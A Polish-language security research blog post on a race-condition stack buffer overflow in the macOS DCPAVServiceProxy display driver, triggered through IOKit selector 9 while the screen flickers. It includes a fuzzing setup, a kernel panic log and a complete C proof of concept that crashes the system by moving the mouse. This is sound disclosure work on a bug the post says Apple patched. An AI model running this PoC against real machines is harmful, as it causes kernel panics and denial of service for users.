Ruch myszką, który zawiesił system – przepełnienie bufora stosu w sterowniku wyświetlania w macOS

Artur - AFINE cybersecurity team member profile photo
Karol Mazurek
February 12, 2026
12
min read
Race Condition Vulnerability in macOS Display Driver - Stack Buffer Overflow

Przepełnienie bufora (buffer overflow) to jedna z najniebezpieczniejszych podatności w systemach operacyjnych, która może prowadzić do całkowitego przejęcia kontroli nad systemem. W tym artykule przedstawię niezwykły przypadek przepełnienia bufora stosu w sterowniku wyświetlania macOS, które zostało wywołane prostym ruchem myszką podczas resetu połączenia HDMI.

Badanie przestrzeni jądra (ang. kernel space) w macOS na architekturze Apple Silicon stało się sporym wyzwaniem z powodu braku możliwości aktywnego debugowania. W przeciwieństwie do systemów opartych na Intelu nie można korzystać z konfiguracji dwumaszynowej (ang. Two-Machine Configuration), co komplikuje nie tylko analizę awarii i proces tworzenia exploitów, ale także samą detekcję błędów. Pisałem o tym wcześniej w artykule Kernel Debugging Setup on MacOS. Mimo tych ograniczeń stworzyłem fuzzer dla sterowników IOKit w macOS, którego obsługa jest prosta: wskazać cel, uruchomić fuzzer i czekać na awarię. Naiwne, ale działa – część wyników opisałem w poniższych publikacjach:

Tym razem jednak było inaczej. Początkowo nie pojawiały się żadne awarie – jedynie krótkie mignięcie ekranu. I szczerze mówiąc, gdyby nie odrobina szczęścia, w ogóle nie natrafiłbym na ten błąd.

Podatność przepełnienia bufora w macOS Display Driver

Błąd dotyczy systemów macOS w wersji 15.4.1 (BuildVersion 24E263) działających na sprzęcie Apple M1 Max. Nie udało mi się go odtworzyć na układzie M2, ponieważ DCP występuje wyłącznie w M1. Problem został usunięty w macOS Sequoia 15.6. Luka znajduje się w selektorze numer 9 usługi DCPAVServiceProxy, odpowiedzialnej za obsługę komunikacji z kontrolerem wyświetlacza.

Bezpośrednim skutkiem tej podatności jest lokalny atak typu Denial of Service, z możliwością eskalacji uprawnień do poziomu jądra.

W praktyce jest to odmiana warunku wyścigu, który umożliwia wywołanie przepełnienia bufora stosu.

Pierwsze odkrycie przepełnienia bufora

To właśnie najciekawsza część tej historii. Na błąd natrafiłem we wczesnym etapie budowania fuzzera, kiedy nie miałem jeszcze poprawnie zmapowanych rozmiarów metod zewnętrznych ani nawet nazw sterowników. Wtedy stosowałem podejście „YOLO” – wysyłałem do wszystkich usług sterowników dostępnych z przestrzeni użytkownika dane o znanych, skrajnych rozmiarach (0, 1, 127, 256, 1024 itd.). Obecnie proces wygląda już znacznie bardziej „należycie” – mam zmapowane nazwy i dopuszczalne rozmiary w pliku YAML, a fuzzer korzysta z danych w takim formacie:

AppleJPEGDriver:
0:
0: [0, 0, 0, 0]
1: [0, 88, 0, 88]
2: [0, 0, 0, 0]
3: [0, 88, 0, 88]
4: [0, 4096, 0, 4096]
5: [0, 4096, 0, 4096]
6: [0, 3488, 0, 3488]
7: [0, 3488, 0, 3488]
8: [0, 0, 0, 0]
9: [0, 0, 0, 0]

AppleNVMeEAN:
0:
0: [0, 0, 1, 0]
1: [0, 0, 0, 0]
2: [3, 0, 0, 0]
3: [1, 0, 1, 0]
4: [3, 0, 0, 0]
5: [1, 0, 0, 0]
6: [1, 0, 0, 0]

...

Aktualny schemat pracy wygląda następująco:

  • Wybrać sterownik (wcześniej rozmiary były losowe, co często powodowało odrzucenie danych już na etapie wstępnej walidacji).
  • Skonfigurować cel ataku – np. nazwę usługi wraz z metodą zewnętrzną i rozmiarami in/out.
  • Uruchomić fuzzera.
  • Zająć się innymi sprawami.
  • Poczekać na powiadomienie na Telegramie o awarii systemu.
  • Zachować logi i dane wejściowe do późniejszej analizy.
  • Powtórzyć proces.

Tym razem było inaczej. Zostawiłem komputer na kilka godzin i nie otrzymałem żadnego powiadomienia o awarii. Po powrocie zastałem czarny ekran, chociaż komputer nie był wyłączony. Początkowo uznałem, że to wygaszacz, ale przypomniałem sobie, że mam go wyłączonego. Ruch myszką ani naciskanie klawiszy nic nie dawały, więc zamknąłem pokrywę MacBooka i ponownie ją otworzyłem. Ku mojemu zdziwieniu pojawił się ekran logowania – bez restartu systemu. Było to dziwne: nie wyglądało to na klasyczny crash, a raczej na problem z wyświetlaniem, który spowodował wygaszenie ekranu i „zamrożenie” systemu. Postanowiłem uruchomić fuzzera ponownie, tym razem celując wyłącznie w sterowniki związane z wyświetlaniem, takie jak AppleJPEGDriver czy DCPAVServiceProxy.

Po około 15 sekundach ekran mignął – wyłączył się i po chwili ponownie włączył. Tym razem system się nie zawiesił. Ale skąd te mignięcia?

Przepełnienie Bufora w Mgnieniu Oka;

Chciałem ustalić, która dokładnie metoda i w jakim sterowniku powoduje ten efekt „mignięcia” ekranu, więc wydzieliłem z fuzzera logikę wysyłania payloadów i stworzyłem narzędzie IOVerify, które pozwalało mi ręcznie testować każdy sterownik:

Usage: IOVerify -n <name> (-m <method> | -y <spec>) [options]
Options:
  -n <name>      Target driver class name (required).
  -t <type>      Connection type (default: 0).
  -m <id>        Method selector ID.
  -y <spec>      Specify method and buffer sizes in one string.
                 Format: "ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]"
                 Example: -y "0: [0, 96, 0, 96]"
  -p <string>    Payload as a string.
  -f <file>      File path for payload.
  -b <hex_str>   Space-separated hex string payload.
  -i <size>      Input buffer size (ignored if -y is used).
  -o <size>      Output buffer size (ignored if -y is used).
  -s <value>     Scalar input (uint64_t). Can be specified multiple times.
  -S <count>     Scalar output count (ignored if -y is used).
  -h             Show this help message.

Proces był żmudny, bo dla każdej usługi musiałem odtworzyć tablicę dispatcherów, sprawdzić prawidłowe rozmiary metod za pomocą IOVerify, a następnie uzupełnić plik YAML. W trakcie tych testów ekran mojego Maca znów mignął – tym razem nie od razu, lecz po około 10 sekundach, gdy sprawdzałem ostatni selektor w IOAVServiceUserClient, czyli numer 9. W logach pojawił się rzadko spotykany kod zwrotny jądra dotyczący przepustowości magistrali:

<code>❯ IOVerify -n DCPAVServiceProxy -y "9: [0,0,0,0]"
Starting verification for driver: DCPAVServiceProxy

--- [VERIFY] Event Log ---
Driver:          DCPAVServiceProxy
Connection Type: 0
Method Selector: 9
Result:          0xe00002ec ((iokit/common) bus bandwidth would be exceeded)

--- Scalar I/O ---
Scalar In Cnt:   0
Scalar Out Cnt:  0

--- Structure I/O ---
Input Size:  0 bytes
Input Data:
[empty]

Output Size: 0 bytes
Output Data:
[empty]
--- End of Log ---</code>

Co ciekawe, tym razem system macOS spanikował (ang. panic). W logu paniki znalazła się informacja o „Data Abort” i „Possible stack overflow” w module IOFrameMobileDriver (iomfb_driver):

<code>panic(cpu 1 caller 0xfffffe001bb7af78): DCP DATA ABORT  pc=0x0000000000521494 Exception class=0x25 (Data Abort taken without a change in Exception level), IL=1, iss=0x4 far=0x00000000e6a41001 - iomfb_driver(11)
RTKit: RTKit-2784.100.168.release - Client: AppleDCP-811.100.97~942-t600xdcp.RELEASE
!UUID: a1000010-2140-1ed5-a178-80d201401ed5
ASLR slide: 0x00000000003ad000
Time: 0x00000000e6a41384

Faulting task stack frame:
Wrong frame size for ARMv8. Got 840 bytes, expected 828
  pc=0x0000000000521494 Exception class=0x25 (Data Abort taken without a change in Exception level), IL=1, iss=0x4 far=0x00000000e6a41001
  r00=000000000000000000  r01=0x683c30e9263ce894  r02=0x0000000000000010  r03=0x0000000000000037
  r04=0x0000000000000001  r05=0x00000000ffffffff  r06=0x000000000000004b  r07=0x0000000000000001
  r08=0x0000000000e42000  r09=0x0000000000000002  r10=000000000000000000  r11=0xffffffff410eb1b8
  r12=000000000000000000  r13=0x0000000000000001  r14=0x0000000000000001  r15=000000000000000000
  r16=0x00000000003c13ec  r17=0x00000000003c1364  r18=000000000000000000  r19=0x00000000e6a40fc9
  r20=0x00000000000000c3  r21=0x0000000000e3cbd8  r22=000000000000000000  r23=000000000000000000
  r24=0x0000000000180000  r25=0x0000000000000017  r26=0xffffffff004c8000  r27=0x0000000000000018
  r28=0x0000000000000018  r29=0x0000000026ceaab6
   sp=0xffffffff410e6e10   lr=0x883d71a0d8521494   pc=0x0000000000521494  psr=0x20000004
  psr=0x20000004        cpacr=0x300000           fpsr=0x000011           fpcr=00000000

Faulting task  11 Call Stack: 0x0000000000521494 0x000000007fffff03 000000000000000000
RTKit Task List:
   name                    | pri     | stack use | status     | resource | warning
 0 rtk_background          | 007     |   832/2048  | SEMWAIT    | 0xe15770 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 1 rtk_ep_work             | 057     |   904/2048  | SEMWAIT    | 0xe11d80 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 2 log_tx                  | 007     |   608/2048  | SEMWAIT    | 0xdfe8c0 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 3 log_flush               | 015     |   928/4096  | SEMWAIT    | 0xdfdc60 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003d4d80 0x00000000003c1818

 4 tracekit_work           | 007     |   592/4096  | SEMWAIT    | 0xdfb790 | 
      0x00000000003c0ce0 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 5 power                   | 000     |  1440/65536 | RUNNABLE   | 0xbe15e8 | 
      0x00000000003c0c9c 0x00000000003cd1f0 0x00000000003ccf10 0x00000000003c1818

 6 Terminator              | 015     |   416/2048  | SEMWAIT    | 0xde9e60 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 7 main                    | 015     |  6672/40960 | SEMWAIT    | 0xde5170 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003bb2f4 0x00000000003bd86c

 8 dcpexpert               | 015     |   240/16368 | SEMWAIT    | 0xffffffff0c011f40 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

 9 AFKMailboxEndpoint      | 015     |   688/16368 | SEMWAIT    | 0xffffffff0c031f40 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

10 rtkitpmgr               | 015     |   240/16368 | SEMWAIT    | 0xffffffff0c051f40 | 
      0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818

11 iomfb_driver            | 016/018 | 16384/16384 | RUNNABLE   | 0 | [Faulting task][Possible stack overflow]</code>

Dlaczego tym razem skończyło się to paniką systemu? Nie wprowadzałem żadnych zmian, a mimo to pojawiło się przepełnienie stosu. Co więcej – nie wysyłałem nawet żadnych danych do sterownika.

Odpowiedź na to pytanie zajęła mi kilka dni prób odtworzenia błędu i kolejnych testów.

Reverse engineering IOAVFamily

IOAVFamily to klasa sterownika jądra macOS związana z obsługą funkcji audio i wideo. Kod DCPAVServiceProxyUserClient pokazuje, że korzysta ona z interfejsów tej klasy:

Po przeanalizowaniu odwołań można zobaczyć metody zewnętrzne udostępniane przez tę usługę:

Idąc dalej i używając skryptu format_externalmethods.py w IDA, udało się zidentyfikować selektor 9:

Ostatecznie, po prześledzeniu jego odwołań, można zobaczyć implementację funkcji:

A właściwie nie do końca – w tym miejscu wykorzystywana jest „magia” arytmetyki wskaźników, aby wywołać metodę DCPAVServiceProxy::retrainFRL poprzez tablicę wirtualną (vtable). Stojący za tym kod znajduje się tutaj:

RetrainFRL w macOS wysyła do sterownika sprzętowego z góry ustaloną wiadomość, prawdopodobnie wymuszając ponowną negocjację połączenia FRL. Funkcja tworzy komunikat z trzema polami o stałych wartościach i przekazuje go do metody __sendMessage, która wysyła go dalej. Kod po __sendMessage jest bardzo złożony, ale w kontekście selektora 9 nie mamy na niego bezpośredniego wpływu – nie możemy bowiem przekazać żadnych danych wejściowych. W praktyce funkcja ta wymusza, aby macOS ponownie negocjował połączenie HDMI 2.1 z wyświetlaczem w celu uzyskania lepszego lub stabilniejszego sygnału. I właśnie dlatego ekran miga.

Ale dlaczego pojawia się kernel panic i przepełnienie bufora? To musiał być jakiś race condition.

Race condition prowadzący do przepełnienia bufora

Próbowałem fuzzować inne metody różnych sterowników związanych z obsługą ekranu w tym samym czasie, gdy wywoływałem selektor 9, ale żaden z nich nie powodował awarii. Potem zacząłem wysyłać tę samą prośbę do wielu sterowników przez cały czas trwania „okna migania” – około 12 sekund – próbując „złapać” ten moment. Nie ograniczałem się wyłącznie do metod zewnętrznych – testowałem też inne kanały komunikacji IOKit, na przykład modyfikowanie właściwości sterownika. Założenie było proste: w czasie migania wchodzić w interakcję z innymi sterownikami IOKit.

Po kilku dniach testów byłem już bliski poddania się, gdy przypomniałem sobie o pierwszym „zamrożeniu” systemu i tym, że musiałem zamknąć pokrywę MacBooka, żeby „zresetować” ten stan. Podczas całego procesu korzystałem z różnych konfiguracji sprzętowych – i trochę wstyd się przyznać, w jaki sposób traktowałem swój laptop, próbując wymusić awarię. W końcu, zrezygnowany i sfrustrowany, uruchomiłem funkcję 9 po raz ostatni i zacząłem kręcić myszką kółka. Ku mojemu zdumieniu – system się wysypał.

Nie mogłem w to uwierzyć – czy to możliwe, że ruchy myszką w trakcie migania ekranu naprawdę spowodowały crash?

Okno czasowe

Zacząłem analizować logi, aby zobaczyć, co dokładnie dzieje się w tym momencie, i oto podsumowanie:

W skrócie – w momencie „mignięcia” interfejs wideo zostaje zamknięty, a tuż po tym wchodzi do gry IOFrame Mobile Driver. To w pełni pokrywa się z danymi z logów panic. Moje założenia:

  • Sterownik jednocześnie wykonuje reset (czyszczenie starego stanu)
  • I próbuje przetwarzać nowe aktualizacje obrazu
  • Proces resetu uszkadza stos, powodując przepełnienie bufora
  • Zapis nowych danych obrazu nadpisuje już uszkodzony stos

Drugim pomysłem na odtworzenie awarii było odtworzenie wideo Fast colour changing screen – 80 i to zadziałało. Potwierdziło to, że istnieje race condition wynikające z obsługi bufora Frame Mobile.

Proof of Concept Ataku Przepełnienie Bufora

Aby samodzielnie odtworzyć błąd:

  • Wywołaj selektor 9 na DCPAVServiceProxy z rozmiarami input, inputStruct, output i outputStruct ustawionymi na 0.
  • Poczekaj około 10 sekund, aż pojawi się „mignięcie” ekranu.
  • W tym momencie zacznij szybko zmieniać zawartość ekranu – na przykład wykonuj intensywne ruchy myszą lub odtwarzaj wideo z bardzo dynamicznymi zmianami kolorów.

Uwaga: w tym PoC mysz kręci się w kółko, aby przepełnić stos!

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <math.h>
#include <IOKit/IOKitLib.h>
#include <ApplicationServices/ApplicationServices.h>
#include <mach/mach_error.h>

//clang DCPAVServiceProxy_0_9_blink_mouse_crash.c -framework IOKit -framework CoreGraphics -framework ApplicationServices -o poc

int main(void) {
    kern_return_t kr;
    io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
                                          IOServiceMatching("DCPAVServiceProxy"));
    if (service == IO_OBJECT_NULL) {
        fprintf(stderr, "[-] DCPAVServiceProxy not found\n");
        return 1;
    }
    
    io_connect_t conn = MACH_PORT_NULL;
    kr = IOServiceOpen(service, mach_task_self(), 0, &conn);
    IOObjectRelease(service);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOServiceOpen failed: %s\n", mach_error_string(kr));
        return 1;
    }
    
    // Call selector 9 (no input, no output)
    kr = IOConnectCallMethod(conn, 9, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOConnectCallMethod (selector 9) failed: %s\n", mach_error_string(kr));
        // Even if this call fails, we continue to simulate mouse movement.
    } else {
        printf("[*] Called selector 9 successfully.\n");
    }
    
    // Now simulate mouse movement for approximately 15 seconds.
    // Get the current mouse location.
    CGPoint initialPoint;
    {
        CGEventRef tempEvent = CGEventCreate(NULL);
        initialPoint = CGEventGetLocation(tempEvent);
        CFRelease(tempEvent);
    }
    printf("[*] Waiting 9 seconds...\n");
    sleep(9);
    
    printf("[*] Simulating mouse movement for 5 seconds...\n");
    CFAbsoluteTime startTime = CFAbsoluteTimeGetCurrent();
    
    
    while (CFAbsoluteTimeGetCurrent() - startTime < 5.0) {
        // Oscillate the mouse position slightly.
        double t = CFAbsoluteTimeGetCurrent() - startTime;
        CGPoint newPoint;
        newPoint.x = initialPoint.x * 0 + 200 * sin(2 * M_PI * t);
        newPoint.y = initialPoint.y * 0 + 200 * cos(2 * M_PI * t);
        
        CGEventRef moveEvent = CGEventCreateMouseEvent(NULL, kCGEventMouseMoved, newPoint, kCGMouseButtonLeft);
        CGEventPost(kCGHIDEventTap, moveEvent);
        CFRelease(moveEvent);
        
        //usleep(50000);  // Sleep 50 ms (about 20 events per second)
    }
    
    IOServiceClose(conn);
    printf("[*] PoC finished.\n");
    return 0;
}

Przyznam szczerze - to jeden z najgłupszych PoC, jakie zrobiłem, ale działa i demonstruje przepełnienie bufora stosu.

Na zakończenie

Raport znalazł się w sekcji Additional recognition Apple, a błąd został załatany w macOS Sequoia 15.6. Nie otrzymał numerów CVE, co przy stack buffer overflow jest pewnym zaskoczeniem. Apple uzasadniło to brakiem możliwości praktycznego wykorzystania błędu – według nich był to nie możliwy do wykorzystania recursion stack overflow. Poprosili o dodatkowe szczegóły, ale aktualnie analiza tego typu błędów bez debuggera jest zbyt uciążliwa, nie mówiąc już o opracowaniu stabilnego exploita jądra – szczególnie gdy mamy do czynienia z wyścigiem zasobów.

Mam nadzieję, że pewnego dnia lldb znów rozbłyśnie w kernelu macOS. Zabawa byłaby o wiele większa.

Referencje

Więcej informacji o mapowaniu sterowników można znaleźć w przewodniku, który napisałem w specjalnym, 40-leciu wydania magazynu Phrack, który wkrótce będzie dostępny online, a także:

FAQ

Questions enterprise security teams ask before partnering with AFINE for security assessments.

No items found.

Miesięczny Raport Ofensywny

Dołącz do naszego newslettera! Co miesiąc ujawniamy nowe zagrożenia w oprogramowaniu biznesowym, wskazujemy kluczowe luki wymagające uwagi oraz analizujemy trendy w cyberbezpieczeństwie na podstawie naszych testów ofensywnych.

Klikając "Subskrybuj", potwierdzasz, że zgadzasz się z naszymi Zasadami i Warunkami.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Gradient glow background for call-to-action section